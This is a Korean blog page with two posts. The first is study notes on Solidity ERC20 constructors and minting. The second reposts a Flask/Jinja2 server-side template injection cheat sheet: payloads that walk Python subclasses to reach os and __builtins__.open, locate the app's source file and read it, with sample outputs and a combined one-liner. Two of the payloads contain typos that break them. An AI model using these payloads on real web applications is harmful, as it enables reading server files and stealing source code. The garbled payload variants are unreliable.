'2022/09/18'에 해당되는 글 2건

 

간단히 설명하면,

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

node_modules 폴더에 있는 위 경로의 ERC20.sol 파일을 불러오겠다.

contract MyToken is ERC20

불러온 ERC20.sol 파일에 현재의 TEST 코드를 덮어쓰겠다.

  constructor() public ERC20("My token","MT"){
    _mint(msg.sender, INITIAL_SUPPLY);
  }

consturctor는 스마트컨트랙트가 생성될때 1번만 호출이 됩니다.

그리고 위 코드에서는 ERC20 컨트랙트에 정의된 _mint() 함수를 사용했습니다.

_mint() 함수에 대한 사용법은 아래와 같습니다.

 

 

객체지향언어(C++,JAVA) 등에 대한 배경지식이 있는 분이라면 생성자에 대한 이해가 있을텐데요..(향후에 설명이 가능하면 이부분을 설명하겠습니다.)

아무튼, 겍체지향언어에는 생성자라는 개념이 있는데, 그 생성자의 개념이 솔리디티에도 동일하게 있습니다.(솔리디티도 객체지향언어와 유사하므로..) 그런데 차이가 있습니다. 그 차이를 간략하게 설명합니다. 일단 이런 개념이 있다정도로 알고 넘어가시면 될것 같네요.

 

 1) 솔리디티에서 생성자는 선택사항이며, 명시적으로 선언하지 않는 경우 컴파일러가 기본 생성자를 넣어줌.

 2) 생성자는 계약이 배포될 때만 한 번 실행됨. (이 부분이 일반적인 객체지향프로그래밍 언어랑 차이점)

  - 일반적으로 새로운 객체 인스턴스가 생성될때마다 생성자가 실행됨.

  - 솔리디티에서는 EVM에 배포되는 시점에만 실행됨.

  - 즉, 다른 프로그래밍 언어에서는 여러개의 생성자를 둘 수있지만, 솔리디티에서는 한 계약에 하나의 생성자만 있어야 함.

 3) 생성자는 파라미터를 취할 수 있으며, 계약을 배포할때 인자를 넣어야 함.

 4) 생성자는 계약과 같은 이름을 가짐.

 5) 생성자의 가시성은 Public 또는 Internal이 될 수 있음.

 6) 생성자는 external 이나 Private는 될 수 없음.

 7) 생성자는 데이터를 명시적으로 반환하지 않음.

 

'스터디' 카테고리의 다른 글

solidity 2022/10/02 cryptozombies  (0) 2022.10.02
solidity 2022/10/02  (0) 2022.10.02
solidity 2022.09.04  (0) 2022.09.04
Solidity 2022.09.03  (0) 2022.09.03
이더 GAS 개념  (0) 2022.05.13
블로그 이미지

wtdsoul

,

https://say2.tistory.com/entry/flask-injection%EC%B7%A8%EC%95%BD%EC%A0%90-%EA%B3%B5%EA%B2%A9

 

flask injection취약점 공격

python command injection 이 가능할때 <소스 파일를 가져올 수 있는 injection 코드> {% for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='XXXX'%}{{loop.index0}}{%endif%}{%endfor%} -> 타..

say2.tistory.com

python command injection 이 가능할때

 

<소스 파일를 가져올 수 있는 injection 코드>

 

{% for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='XXXX'%}{{loop.index0}}{%endif%}{%endfor%}

-> 타겟 클래스의 index를 가져온다

결과값 : 101

 

{{[].__class__.__base__.subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].path.realpath(__file__)}}

타깃 파일 경로

결과값 : /data1/www/htdocs/222/aaa.py

 

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dic__['__builtins__'].open("/data1/www/htdocs/222/aaa.py","r").read()}}

결과값 : 추출된 python소스코드

 

위 세번을 한꺼번에 하려면 아래와 같이 하면됨

 {%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c.__init__.func_globals['linecache'].__dict__['__builtins__'].open('aaa.py').read()}}{%endif%}{%endfor%}

 

(잘 알겠지만 파이써너 2.7 기준 3에서는 func_globals -> __globals__로 바뀌는 등 몇가지 바뀐다. 사실 python2기준으로 공격하면 됨)

 

 

 

 

'경로 및 정보' 카테고리의 다른 글

[ IIS ] http header 에 server 정보  (0) 2022.09.21
쇼단 문자열 검색 건  (1) 2022.09.20
[WEB] SSTI(Server Side Template Injection) 취약점  (0) 2022.09.15
confluence CVE-2019-3396 취약점  (1) 2022.09.15
Nginx 기본 환경  (0) 2022.09.15
블로그 이미지

wtdsoul

,